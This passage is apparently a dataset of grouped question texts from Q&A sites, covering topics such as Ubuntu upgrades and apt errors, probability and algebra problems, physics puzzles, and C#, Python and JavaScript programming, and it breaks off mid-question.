[ "We are currently working on a windows based application where users capture data. Some data is captured in a table where other data is captured in text blocks. Im currently faced with the dilemma of how to align contents specifically decimal values. Editable cells in a grid are indicated with a pencil icon which disappears once in edit mode. You will notice that the table consists of various field types, decimals and text. So what should I do and why? A> right align all cell content B> left align all cell content C> right align only decimal values in cells D> Whatever else you can suggest", "$X\\sim\\mathrm{Poisson}(\\lambda_1 = 5)$ and $Y\\sim\\mathrm{Poisson}(\\lambda_2 = 15)$. Let $Z = X + Y$ . Compute $\\mathrm{Corr}(X, Z)$.", "How to execute a JavaScript function when I have its name as a string", "How to safely upgrade from an older Ubuntu version to a newer one? How can I safely upgrade an Ubuntu installation from one release to another? What should I do before upgrading to ensure it goes smoothly, and is there any clean-up I need to do afterwards? In particular, do I need to do anything special if I am using packages from PPAs, if I have a graphics card that needs drivers, or if I'm running a custom Linux kernel? This is a general question , but as example we take Ubuntu 12.04 and Ubuntu 12.10", "Interpretation of interaction term I have a model: $$ \\ln({\\rm earnings}) = a+b_1{\\rm female}+b_2{\\rm white}+b_3{\\rm female}\\times{\\rm white} $$ ${\\rm female}$ and ${\\rm white}$ are dummy variables. I have interpreted $b_1$ and $b_2$: $b_1$ = change in female earnings comparing to male given you are non white $b_2$ = change in white earnings comparing to non white given you are male But I am unable to interpret the coefficient of the interaction term ($b_3$). Please help me with this. Let me make it more clear what I need out of this regression $$ \\ln({\\rm earnings}) = 2.618656-.0899657{\\rm female}+.382019{\\rm white}-.2754126 {\\rm female}\\times{\\rm white} $$ Now i know there is gender pay difference with b1, i also know there is race pay difference with b2. Now with b3 i need to know is their a gender pay gap for whites only. How can i figure that out with regression above and without test.", "Vertex groups can not be named in blender 2.70 For some reason the name text field doesn't appear for vertex groups in blender 2.70. I tried in 2.69 and it's there and works fine. Was this feature removed in 2.70 or am I missing something?", "QCompleter Custom Completion Rules", "Word for \"things which exist\"", "So, in my physics textbook it's written that the kinetic energy possessed by a body is equal to the amount of work done by an opposing force to stop the body, now that got me thinking that when a ball hits a wall, the wall which is the opposing force does no work because there is no displacement, so to say isn't the kinetic energy possessed by the ball zero?", "I tried out several image editors mentioned on but some of them (like and ) were very disappointing. These apps were too simple and low level. What do you suggest for a (preferably free) image editor on OS X? P.S: I was using on Linux and also know that it was released for OS X too, but I want to find new good applications.", "Dynamic loading of python modules", "Infinite DeMorgan laws Let $X$ be a set and $\\{Y_\\alpha\\}$ is infinite system of some subsets of $X$. Is it true that: $$\\bigcup_\\alpha(X\\setminus Y_\\alpha)=X\\setminus\\bigcap_\\alpha Y_\\alpha,$$ $$\\bigcap_\\alpha(X\\setminus Y_\\alpha)=X\\setminus\\bigcup_\\alpha Y_\\alpha.$$ (infinite DeMorgan laws) Thanks a lot!", "How to compare two TeX codes and mark differences with color I would like to find easy tool, which compares two TeX codes and generates a PDF file of the first code, in which the differences from the second code are marked by a given color. I use winedt 7.0 under windows 7. I just noticed that latexdiff provides what I need. As far as I understand it is included in Miktex. Is there an interface (menu commands) in winedt 7.0, which allow to work with latexdiff ?", "Why doesn't the Enterprise use stealth/invisibility technology like the Romulans and Klingons? The stealth mode of starships plays a huge role in many Star Trek films and episodes and is a strong advantage in combat. I remember an episode revealing that the Federation developed a secret stealth technology (afair on Riker's former ship with another captain appearing in this episode) that even made it possible to fly with the ship through matter. Nonetheless, while stealth technology seems standard for Romulans, Klingons (Ferengi, Vulcans?) and does not break any intergalactic laws (do these exist at all?), the Federation doesn't use it?", "So I am on my college network which requires me to sign in to the browser before I start using the internet. I do so succesfully but on a clean install of Ubuntu, when I try to do sudo apt update, I get the following output: $ sudo apt update Get:1 http://in.archive.ubuntu.com/ubuntu xenial InRelease [2,847 B] Err:1 http://in.archive.ubuntu.com/ubuntu xenial InRelease Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?) Get:2 http://security.ubuntu.com/ubuntu xenial-security InRelease [2,854 B] Err:2 http://security.ubuntu.com/ubuntu xenial-security InRelease ... Get:3 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease [2,855 B] Err:3 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease ... Get:4 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease [2,857 B] Err:4 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?) Fetched 11.4 kB in 0s (18.3 kB/s) Reading package lists... Done E: Failed to fetch http://in.archive.ubuntu.com/ubuntu/dists/xenial/InRelease Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?) ... E: Some index files failed to download. They have been ignored, or old ones used instead. But when I do wget http://in.archive.ubuntu.com/ubuntu/dists/xenial/InRelease, I get this output success: 2017-04-01 05:34:57 http://in.archive.ubuntu.com/ubuntu/dists/xenial/InRelease Resolving in.archive.ubuntu.com (in.archive.ubuntu.com)... 91.189.88.162, 91.189.88.149, 91.189.88.152, ... Connecting to in.archive.ubuntu.com (in.archive.ubuntu.com)|91.189.88.162|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 246846 (241K) Saving to: ‘InRelease.3’ InRelease.3 100%[===================>] 241.06K 110KB/s in 2.2s 2017-04-01 05:35:00 (110 KB/s) - ‘InRelease.3’ saved [246846/246846] Clearly I have internet access from my browser and on wget but when I do sudo apt (or apt-get) update I get this error. PS: This question is not similar to other threads as their solutions do not seem to work on mine As I have found out, this problem is happening only to me, not others on the college network. Despite setting up the network according to instructions, this still happens. Any more help would be appreciated EDIT: So as it turns out, 50% of us in the college are facing this issue, while 50% aren't despite having no issues with the hardware and sudo apt update before the last week. Thanks to @David Foerster for helping me throughout all this time. As it stands, the issue has been raised to our college's networking department :)", "fake proof of $\\forall a. \\forall b. a = b \\to 1 = 0$ I saw a less formal version of this fake proof that claimed to prove $2=1$ but because it assumed $a=b$ from the start I knew why it was wrong. It does seem however that the proof can be used to prove an certain implication I find very odd however. Clearly $\\forall a. \\forall b. a = b \\to 0 = 1$ is false because I could pick $a$ and $b$ to be $1$ and then I would have derived 0 = 1 with no other conditions. So there must be something wrong with this proof that I am not seeing. proof of $\\forall a. \\forall b. a = b \\to 0 = 1$: $a = b \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (assume)\\\\ a+a=a+b \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (x=y \\to f(x) = f(y), f(x)=a+x)\\\\ 2a=a+b \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (a+a=2a)\\\\ 2a-2b=a+b-2b \\,\\,\\, (x=y \\to f(x) = f(y), f(x)=x-2b)\\\\ 2(a-b)=a+b-2b \\,\\, (distributive)\\\\ 2(a-b)=a-b \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (-b=b-2b)\\\\ 2=1 \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (x=y \\to f(x) = f(y), f(x) =x/(a-b))\\\\ 1=0 \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (x=y \\to f(x) = f(y), f(x) =x-1) $ now that I have \"proven\" $\\forall a. \\forall b. a = b \\to 0 = 1$ I can now pick a and b to be 1. $ 1 = 1 \\to 1=0 \\,\\,\\,\\,\\,\\, (a=1, b=1, above)\\\\ 1 = 1 \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (\\text{reflexivity})\\\\ 1=0 \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, (\\text{modus ponens}) \\\\ $ So now it seems that I have managed to derive $1=0$. Clearly I messed up given that no one has been able to show $ZFC$ inconsistent and ostensibly this fits well within the most studied aspects of $ZFC$. Either that or a random guy that makes meme's online found the most profound result in mathematics ever. So where have I missed the mistake?", "Persist variables between page loads", "We've tried this a few times. First time we used an old ceramic container and it started sheding on the inside and ruined it. Next time we used a new metal garbage can with one of those super sized 10 gallon zip lock bags as a liner. It went rank very quickly. This could have been due to our packing though. Before we get into this again, what is you recommendation for a good container? I hate the thought of plastics but it seems it might just be the best choice as long as it's made for food storage.", "I need to implement the following circuit in LTSpice but I don't know if my schematic is ok. Also, I don't know what values for I should use for Cinf and R2. The following constraints are imposed: VCC= 10V VCM = 1.5V Vgis a sine wave with a frequency of 1 kHz. Its amplitude will be chosen so as to ensure minimal distortion of the output signal (i.e. v0 should also be a sine wave) R1= 15kΩ. I need to choose a value for R2 and Cinf in order to have a (theoretical)gain value Av=1500. How can I compute the theoretical expressions of the DC collector currents of bipolar transistors Q1–Q8, considering VBE≈ 0.6V and the theoretical expression of the small-signal voltage gain Av= vo/vg? The first picture is the schematic and the second is the LTSpice implementation. What I found is that: ICq5=ICq6=ICq7=ICq8=(Vcc - Vbe)/R2 ICq1=ICq2 = [ICq7 / 2 ] * [Beta/(Beta+1)] ICq4=iCq2-current of Q5 ICq3=ICq1-current of Q3-current of Q4 Beta in my case is 182.1 because I'm using a BC847A transistor. A=Vo/Vg = Gm_q2 * Beta_q5 * R1Gm_q2=ICq2 / Vt that is approx 40*ICq2 How can I find the value of R2? This is what I have now, an sine like wave for Vg", "Finding acute triangle probability A stick is broken in three parts of any length , if we join the pieces then what's the probability of getting a acute angled triangle?" ]

[ "How to prevent unification when animating in photoshop? I am trying to create an animated gif where text drops down and smashes into the background and cracks it. Whenever I try and transform it though, the transformation is applied to all frames. How do I prevent this? I'm using Adobe Photoshop CS6 (64-bit)", "How to capture ordered STDOUT/STDERR and add timestamp/prefixes?", "Finding acute triangle probability A stick is broken in three parts of any length , if we join the pieces then what's the probability of getting a acute angled triangle?", "beamer - global transition shifts slide content Using beamer with the , I want to have a global transition effect (a fast fade) which I set using the following code: \\addtobeamertemplate{background canvas}{\\transfade[duration=0.2]}{} as found on answer. However, doing it messes up with my slides settings. It doesn't change every slides, only the \\section ones that are slightly shifted to the right, adding a white line on the left, as seen here: I tried using XeLaTeX and LuaLaTeX, as they are the only compilers I could use for my current font, but they both have the same issue. It probably comes from the theme, however I have no clue why it would happen or how to fix it. Edit : \\documentclass{beamer} \\usetheme{m} \\addtobeamertemplate{background canvas}{\\transfade}{} \\begin{document} \\section{test} \\end{document} Requires the mtheme to work", "Objective-C Blocks and variable scope", "Here's the problem: if $S = \\mathbb{Q}[x]/(x^2)$, compute the group of automorphisms $\\mbox{Aut}(S)$. First off, I have the solution and I know it's isomorphic to the multiplicative group $\\mathbb{Q}\\backslash\\{0\\}$, so I'm trying to understand it. It uses what is called the substitution principle and the fact that the restriction of any endomorphism $\\phi: \\mathbb{Q}[x]\\to \\mathbb{Q}[x]$ to $\\mathbb{Q}$ is the identity. It says that these two facts implies that the endomorphisms of $\\mathbb{Q}[x]$ are in 1-1 correspondence with $h \\in \\mathbb{Q}[x]$, where the endomorphism corresponding to $h$ is $\\phi_h : \\mathbb{Q}[x] \\to \\mathbb{Q}[x]$ given by $\\phi_h(f) = f(h)$ for $f \\in \\mathbb{Q}[x]$. I guess I just don't understand how it applied the substitution principle? It's probably obvious, but for some reason I am not getting it. An explanation would be greatly appreciated! Or if you have a different solution, that'd be cool too. Thanks!!", "Is it possible to overload the null-coalescing operator for a class in C#? Say for example I want to return a default value if an instance is null and return the instance if it's not. The code would look like something like this: return instance ?? new MyClass(\"Default\"); But what if I would like to use the null-coalescing operator to also check if the MyClass.MyValue is set?", "Merge two arrays as key value pairs in PHP I've got two arrays of the same size. I'd like to merge the two so the values of one are the key indexes of the new array, and the values of the new array are the values of the other. Right now I'm just looping through the arrays and creating the new array manually, but I have a feeling there is a much more elegant way to go about this. I don't see any array functions for this purpose, but maybe I missed something? Is there a simple way to this along these lines? $mapped_array = mapkeys($array_with_keys, $array_with_values);", "I've been programming in Java for a while and just got thrown onto a project that's written entirely in C#. I'm trying to come up to speed in C#, and noticed enums used in several places in my new project, but at first glance, C#'s enums seem to be more simplistic than the Java 1.5+ implementation. Can anyone enumerate the differences between C# and Java enums, and how to overcome the differences? (I don't want to start a language flame war, I just want to know how to do some things in C# that I used to do in Java). For example, could someone post a C# counterpart to Sun's famous Planet enum example? public enum Planet { MERCURY (3.303e+23, 2.4397e6), VENUS (4.869e+24, 6.0518e6), EARTH (5.976e+24, 6.37814e6), MARS (6.421e+23, 3.3972e6), JUPITER (1.9e+27, 7.1492e7), SATURN (5.688e+26, 6.0268e7), URANUS (8.686e+25, 2.5559e7), NEPTUNE (1.024e+26, 2.4746e7), PLUTO (1.27e+22, 1.137e6); private final double mass; // in kilograms private final double radius; // in meters Planet(double mass, double radius) { this.mass = mass; this.radius = radius; } public double mass() { return mass; } public double radius() { return radius; } // universal gravitational constant (m3 kg-1 s-2) public static final double G = 6.67300E-11; public double surfaceGravity() { return G * mass / (radius * radius); } public double surfaceWeight(double otherMass) { return otherMass * surfaceGravity(); } } // Example usage (slight modification of Sun's example): public static void main(String[] args) { Planet pEarth = Planet.EARTH; double earthRadius = pEarth.radius(); // Just threw it in to show usage // Argument passed in is earth Weight. Calculate weight on each planet: double earthWeight = Double.parseDouble(args[0]); double mass = earthWeight/pEarth.surfaceGravity(); for (Planet p : Planet.values()) System.out.printf(\"Your weight on %s is %f%n\", p, p.surfaceWeight(mass)); } // Example output: $ java Planet 175 Your weight on MERCURY is 66.107583 Your weight on VENUS is 158.374842 [etc ...]", "When should a verb be followed by a gerund instead of an infinitive?", "How to show that the nth power of a $n \\times n$ nilpotent matrix equals to zero $A^n=0$ $A$ is a $n\\times n$ matrix such that $ A^m = 0 $ for some positive integer $m$. Show that $A^n = 0$. My attempt: For $n > m$, it's obvious since matrix multiplication is associative. For $n < m$, $A^n\\times A^{m-n} = 0$; not sure what to do next. Also I know that $\\det A = 0$.", "In Iron Man 3, When the real villain kidnapped the President of the United States, it is never explained why none of the other Avengers came to help, or why Tony didn't call them. The only explanation so far is: \"it was an Iron Man movie...\", but an in universe answer would be good.", "Family in GLM - how to choose the right one? When modeling data sampled in the field, I often come across the problem of determining the Family of the dependent variable for GLM (or GLMM). An example: in an ecological study, I have ~ 60 patches. I have sampled territories of an animal species within these patches as well as a set of explanatory variables. The number of territories per patch (NTP) is the dependent variable in a GLM. NTP is integer with values between 0 and 14: How can I test for the family of NTP? Any help appreciated as this is an issue many ecologists come across each time they conduct statistical analysis.", "Why are Bitmap-Fonts used automatically?", "How do I call a .NET assembly from C/C++? Suppose I am writing an application in C++ and C#. I want to write the low level parts in C++ and write the high level logic in C#. How can I load a .NET assembly from my C++ program and start calling methods and accessing the properties of my C# classes?", "$2+2 = 5$? error in proof $$\\begin{align} 2+2 &= 4 - \\frac92 +\\frac92\\\\ &= \\sqrt{\\left(4-\\frac92\\right)^2} +\\frac92\\\\ &= \\sqrt{16 -2\\times4\\times\\frac92 +\\left(\\frac92\\right)^2} + \\frac92\\\\ &= \\sqrt{16 -36 + \\left(\\frac92\\right)^2} +\\frac92\\\\ &= \\sqrt {-20 +\\left(\\frac92\\right)^2} + \\frac92\\\\ &= \\sqrt{25-45 +\\left(\\frac92\\right)^2} +\\frac92\\\\ &= \\sqrt {5^2 -2\\times5\\times\\frac92 + \\left(\\frac92\\right) ^2} + \\frac92\\\\ &= \\sqrt {\\left(5-\\frac92\\right)^2} +\\frac92\\\\ &= 5 + \\frac92 - \\frac92 \\\\ &= 5\\end{align}$$ Where did I go wrong", "I want to subscribe to the newsletter on my work email address but still have everything else go to my normal SO email account. I don't have a way to set up a forwarding filter from my normal email account. Any way I can do this?", "Can I recover app data after the phone has been Factory Reset?", "When I slam my hand onto my keyboard, only a maximum of 6 keys will be registered, I've tested this for the past few minutes and was unable to get more than 6. Is this the same on all keyboards? If not, what would be the distinguishing factor, If yes: why 6 specifically? For clarification: I do not have a usecase for this, I am simply curious", "So I understand the concept of gravity, in that it's not actually a force, but more of a displacement in the spacetime grid. An object with a big enough mass will bend the spacetime, causing smaller objects to \"attract\" to it (not really, but good enough for what I am trying to figure out) Ok so that makes sense, but what I am not understanding is, how come planets don't just get engulfed by the Sun? There must be something acting against the gravity for the planet to be a certain distance away from the sun. Am I not understanding this concept correctly?" ]

[ "Is it possible to produce such design hints (on elements padding, spacing, width, height) automatically in photoshop? Is there any plugin that can potentially do this?", "USB WiFi dongle device that can emulate a virtual mass storage device for a home video player Is there a USB WiFi dongle device that can: Emulate a virtual mass storage device for a home video player But in fact shows the files from a network-shared folder?", "What are words like \"Hey Man\", \"Hey you\", \"Hey Dude\" called Is there a term for words that summon someone like \"Man,\" \"Dude,\" \"Kid\" in sentences such as \"Hey, Dude,\" \"Listen up, kid,\" etc? I am sure there is, but I can't really remember what it is.", "Why do two bodies of different masses fall at the same rate (in the absence of air resistance)?", "What is the mass density distribution of an electron?", "Protect Google Spreadsheet formatting while allowing changes to data I would like to protect the formatting of a cell (or a range of cells) in a Google Spreadsheet, but still allow changing the data in that (or those) cell(s). For example, I want to add a validation rule on a cell that says the cell has to contain a number between 1 and 10, and I would like others to be able to change the value in that cell, but not the validation rule itself. How do I do that? So far I was only able to completely protect the cell (content + formatting) or not at all (the user can change the content as well as the formatting). To me this seems to be an important functionality when adding access rights to spreadsheets. Is it possible that it is completely missing from Google Spreadsheets?", "Is there a more accurate way to create a Javascript timer than setTimeout? Something that has always bugged me is how unpredictable the setTimeout() method in Javascript is. In my experience, the timer is horribly inaccurate in a lot of situations. By inaccurate, I mean the actual delay time seems to vary by 250-500ms more or less. Although this isn't a huge amount of time, when using it to hide/show UI elements the time can be visibly noticeable. Are there any tricks that can be done to ensure that setTimeout() performs accurately (without resorting to an external API) or is this a lost cause?", "Why are certain example URLs like https://site.com/ and https://mysite.com/ blocked from post content?", "Does a constantly accelerating charged particle emit EM radiation or not?", "How do I recruit beta testers? We're a small company without enough employees to run a large scale beta in house. The app is geo-location based so we're trying to recruits some beta testers from all over that aren't \"friends and family\". Are there any sites or communities dedicated to something like this?", "Finding the volume of the tetrahedron. Find the volume of the tetrahedron with the vertices $P(1,1,1)$, $Q(1, 2, 3)$, $R(3, 1, 2)$, and $S(2, 3, 1)$.", "My computer wont shutdown If I try to shutdown my computer it simply takes me back to the login-screen. I looked around and found : Type in terminal: sudo gedit /etc/default/grub Find the line: GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash\" Change this to:GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash acpi=force\" Save the file and close the file. Finally, in terminal: sudo update-grub But now there is a new problem when I try step 5 it says: *myname*@ubuntu:~$ sudo update-grub [sudo] password for *myname*: /usr/sbin/grub-probe: error: cannot find a device for / (is /dev mounted?). *myname*@ubuntu:~$ I am new whit linux and dont know what to do.", "Getting polygon shapefile node coordinates and point order", "I can think of three general ways of explaining why the universe contains more matter than antimatter: (1) Near the Planck time, the universe had zero baryon asymmetry, but at some later time, determined by some GUT energy scale, the were satisfied, and the baryon asymmetry became nonzero. (2) Nonconservation of baryon number occurs only at Planckian energies. Near the Planck time, the baryon asymmetry evolved from zero to some nonzero value. (3) The Sakharov conditions have never been satisfied. The baryon asymmetry has always been nonzero, and has simply scaled as expected. (Apparently one $\\Delta n=n_B-n_\\bar{B}\\propto s$, where $n$ is number density and $s$ is entropy density). It seems like most theorists are interested in #1, but is there any reason why 2 and 3 aren't possible? 2 seems pretty reasonable, since for the reasons given in , we have good reasons to think that baryon number is not conserved under Planckian conditions. 3 also seems reasonable to me, since even if baryon number is nonconserved at Planckian energies, that's only one of the three Sakharov conditions. I don't see any obvious fine-tuning objections to #3, since the scaling of baryon asymmetry with cosmological expansion isn't particularly drastic (not an exponential decay or anything). Is there something unphysical about maintaining $\\Delta n\\propto s$ all the way back to the Planckian era? Some people might object to #3 on aesthetic grounds, since we \"expect\" the initial conditions of the universe to be symmetric, but that seems weak to me. After all, we don't object aesthetically to the fact that homogeneity was an imperfect symmetry of the early universe, and we even accept that the early universe was in a thermodynamically unlikely state.", "My initial problem was that my computer wouldn't let me login to my account. It seems to shut down after I enter my password. I can login as a guest. I found fixes but I can't remember / figure out my login for access after I hit Ctrl+Alt+F1 and most of the fixes for finding your login username depend on you having access to your account. I thought the login was the name which appears on the screen when I start the computer normally, but this has not worked, is there another way to find out my username while being effectively locked out of my root-user profile? I am also assuming that the password is the same one I always use. Conversely, if the name which appears on the screen at startup and my normal password should have worked, is there another explanation for why I am not able to login on the black command screen.", "Solving ODE with negative expansion power series I am solving a series of ODE, such that each DE is equal to some degree of term that I'm expanding to. For instance, one DE is this: $\\xi^r\\partial_r g_{rr}+2g_{tt}\\partial_t\\xi^t=\\mathcal{O}(r)$ $g_{ii}$ are given, from metric, but that's not important. I need to assume that the solution (since I'm looking for components of $\\xi^\\mu$, which is a vector with components $\\xi^t,\\xi^r,\\xi^\\phi$) is given with power series of the form: $\\xi^\\mu=\\sum\\limits_{n}\\xi^\\mu_n(t,\\phi)r^n$, and this is to be seen as expansion around $1/r$ (expansion around $r=\\infty$). Now when I plug this in the ODE I get this $\\frac{2}{l^2}\\sum_n\\xi^r_nr^{n+1}+2\\sum_n\\xi^t_{n,t} r^n+\\frac{2}{l^2}\\sum_n\\xi^t_{n,t}r^{n+2}=\\mathcal{O}(r)$, where $\\xi^\\mu_{n,i}$ is the derivative with the respect to i-th component. What troubles me is, how to expand this? Do I set n=0,-1,-2,... until my $\\mathcal{O}(r)$ terms cancel each other out? Or? I'm kinda stuck :\\", "I've been playing Agar for some time now, and lately I've noticed there was a new XP system in Agar. Since then I've been wondering what variables chance the XP gained. I've tried googling it, but with no luck. I'm looking for how the XP system works in these game modes: FFA Teams Experimental", "Is it possible to enable System Protection from the command prompt?", "delayed addclass/remove class function not working", "PDF export on macOS Mojave produces bold fonts" ]

[ "How would you explain why $e^{i\\pi}+1=0$ to a middle school student? Hi I was asked by a friends child who is in middle school why $e^{i\\pi}+1=0$. Now I couldn't think of a way to explain it so he would understand. Albert Einstein once said “If you can't explain it simply, you don't understand it well enough” so how would I explain it.", "What happened to /etc/apt/apt.conf? I was browsing through the apt folder to try my proxy settings and I was unable to find the apt.conf file in Ubuntu 11.04. Is there any alternative file for it? Adding proxy settings to 99-synaptic in apt.conf.d does not help as it gets overwritten everytime I restart the system.", "The Chinese government has a really specific list of requirements for visa photos: I had an old unused photo from last time I applied for a visa or passport, and compared it to the requirements (decided not to use it because it was damaged). It seemed to match most of the requirements, except that it seems that they want a photo which isn't square: The required width is less than the required height. Assuming most drugstores are still providing square passport photos, the question becomes: Should I cut the photo to match the specified width? What adds to the confusion is if you look at the the box for the photo is nearly square, not the oblong shape in the requirements. And I have seen other advice that you need to make sure it fully fits the box. Any advice about what to do here?", "Parentheses around more than one paragraph Does English allow one to put parentheses around more than one paragraph? Example: Paragraph 1. (Paragraph 2. Paragraph 3.) Paragraph 4. (Of course, this is just a simple example. In reality, it looks more clean since the paragraphs are more than one line long, and are not separated by an empty line.)", "How many ways can $r$ nonconsecutive integers be chosen from the first $n$ integers? During self-study, I ran across the question of how many ways six numbers can be chosen from the numbers 1 - 49 without replacement, stipulating that no two of the numbers be consecutive. I can obtain a simple lower bound by saying that, in the worst-case scenario, when you choose a particular number, there are now three numbers that cannot be chosen next. For example, if I first pick 17, then I can't choose 16, 17, or 18 for the remaining choices. This gives me the lower bound $$\\frac{49*46*43*40*37*34}{6!} = 6,773,770 \\frac{8}{9}$$ This is about 48% of ${}_{49}C_6 = 13,983,816$. The real answer must be bigger (and an integer). I haven't found a way to calculate it, though. The original problem asked to show that the probability of having non-consecutive integers when you choose six is greater than 50%, so if the problem is complicated to count exactly, better approximations that show the answer is above 50% would also be appreciated. Of course, I can use a computer to do the counting, but I'm interested in learning what methods I'm missing.", "How do you remove duplicates from a list whilst preserving order? Is there a built-in that removes duplicates from list in Python, whilst preserving order? I know that I can use a set to remove duplicates, but that destroys the original order. I also know that I can roll my own like this: def uniq(input): output = [] for x in input: if x not in output: output.append(x) return output (Thanks to for that .) But I'd like to avail myself of a built-in or a more Pythonic idiom if possible. Related question:", "How do I upgrade to a newer version of Ubuntu?", "Currently using Ubuntu 18.04, and my wireless driver is not being detected. I've included a . $ dmesg | grep iwl [ 6.212724] Loading modules backported from iwlwifi [ 6.212724] iwlwifi-stack-public:master:6988:0d8892f2 [ 6.224583] iwlwifi 0000:00:14.3: enabling device (0000 -> 0002) [ 6.229811] iwlwifi 0000:00:14.3: Direct firmware load for iwl-dbg-cfg.ini failed with error -2 [ 6.230540] iwlwifi 0000:00:14.3: Direct firmware load for iwlwifi-9000-pu-b0-jf-b0-39.ucode failed with error -2 [ 6.230547] iwlwifi 0000:00:14.3: Direct firmware load for iwlwifi-9000-pu-b0-jf-b0-38.ucode failed with error -2 [ 6.230552] iwlwifi 0000:00:14.3: Direct firmware load for iwlwifi-9000-pu-b0-jf-b0-37.ucode failed with error -2 [ 6.230557] iwlwifi 0000:00:14.3: Direct firmware load for iwlwifi-9000-pu-b0-jf-b0-36.ucode failed with error -2 [ 6.230562] iwlwifi 0000:00:14.3: Direct firmware load for iwlwifi-9000-pu-b0-jf-b0-35.ucode failed with error -2 [ 6.236670] iwlwifi 0000:00:14.3: loaded firmware version 34.0.0 op_mode iwlmvm [ 6.248314] iwlwifi 0000:00:14.3: Detected Intel(R) Dual Band Wireless AC 9560, REV=0x318 [ 7.264081] iwlwifi 0000:00:14.3: SecBoot CPU1 Status: 0x3, CPU2 Status: 0x2477 [ 7.264084] iwlwifi 0000:00:14.3: Failed to start INIT ucode: -110 [ 7.276165] iwlwifi 0000:00:14.3: Failed to run INIT ucode: -110 sudo modprobe iwlwifi returns no output.", "What exactly determines depth of field? There are several questions here about , about , and about . And of course there's the basic . And plenty of questions. There's related questions like . But there's no be-all-end-all question asking: What exactly determines depth of field in a photograph? Is it just a property of the lens? Can lenses be designed to give more depth of field for the same aperture and focal length? Does it change with camera sensor size? Does it change with print size? How do those last two relate?", "dpkg error: \"trying to overwrite file, which is also in...\"", "In the tense of present perfect, Are 'recent past' and 'hot news' the same?", "How to Screen Sharing / VNC to an iMac without waking the display? I have an iMac mid 2011 at home. When I was not home, I may need to access my mac with Screen Sharing. However the iMac display will turn itself on when I connect via Screen Sharing. The problem is I don't want to scare my family at home (with the elders and kids) as the iMac \"turn itself on suddenly\". This is a problem specific for iMac. On MacBooks (Pro, Air, whatever) I can set the brightness to the lowest setting so the screen is black (i.e. the LED light is off). However on an iMac you cannot turn off the LED backlit by setting brightness. The display is still bright and everything is clearly visible even on lowest brightness setting. Therefore these solution are not working as the display will turn on as soon as you move your mouse or hit any key on the keyboard via Screen Sharing. Sleep Display (by Ctrl+Shift+Eject) Using the code listed on Question: Is the a way to keep the iMac display off entirely while you accessing it with Screen Sharing?", "Upgrade to the specific php 7.1/7.2 from php 7.0 in Ubuntu 16.04 How can I upgrade to php 7.1 from php 7.0 in ubuntu 16.04 ? If I do a php -v I get this message: PHP 7.0.8-0ubuntu0.16.04.3 (cli) ( NTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies with Zend OPcache v7.0.8-0ubuntu0.16.04.3, Copyright (c) 1999-2016, by Zend Technologies", "I bought a Mac (13\", early 2011) almost 5 years ago. When I first got it, it was running under OS X 10.7 and it was pretty fast. I've being upgrading it ever since and it's now running under Mac OS X 10.11. I guess it didn't totally survive the upgrades because, today, there's a lot of bugs, freezes, lags, \"spinning beach ball\" appearing,... for example, when I write something on a normal program/editor, the cursor freezes for a few seconds, then catches up to what I'm writting. As you can guess, that's really annoying! I've been thinkning about upgrading the hardware but I don't know what to do: should I change the RAM to 8 GB - 1 333 MHz (currently my computer has 4 GB - 1 333 MHz)? Or should I upgrade to an SSD (which is pretty expensive and difficult to install)? Thank you very much.", "Langage to declare a circuit board", "Finding the missing digits of $23!$ It is given $23!=2585201xy38884976640000$. Now it is required to find the value of $x$ and $y$. I know I could find it by using divisibility rules and solving simultaneous equations. Is there any other way to solve it (without computing it by a calculator)? This question is just out of curiosity.", "Why LastModifiedbyid in Trigger.new gives old value I have noticed the strange behaviour of salesforce due to which even my code broke down in production. I was trying to stop the user from updating some field..I used before udpate trigger and code like Trigger.new[i].LastModifiedbyId.. Ideally it should give the current user in Trigger.new[i].LastModifiedbyId in but it gives oldrecordLastModifiedbyId.. Although userinfo.getuserid resolves the problem later. Any idea about this behaviour of salesforce.", "Long names cut off in questions and answers The Unhandled Exception's name is cut off in this and in the answer too. The last 'n' looks like an 'r'. Using Firefox 3.6.6. Examples:", "Programmatical Setting of 'Store Relative Pathways' for multiple MXDs ArcGIS 10.1 I am looking to move large number of mxds to a different location on the same drive. Many mxds haven't got 'Store relative pathways' option checked therefore this operation will result in broken links to data. I've only started using ArcGIS 10.1 and it is now possible to programmatically update relative pathways for all mxds by using arcPy and setting relativePaths to be \"True\". I had a go at writing Python script which (in theory) loops through a top folder and searches for all mxds and then updates \"Store relative pathways\" setting to be on. When I run this script in PyScripter, it fails to complete, I get the following error: \"exceptions.NameError: name 'mxd' is not defined Can anyone help ?!? Thanks in advance, Magda import arcpy, os folderPath = r\"C:\\My Folder Path\\...\\...\\...\" for filename in 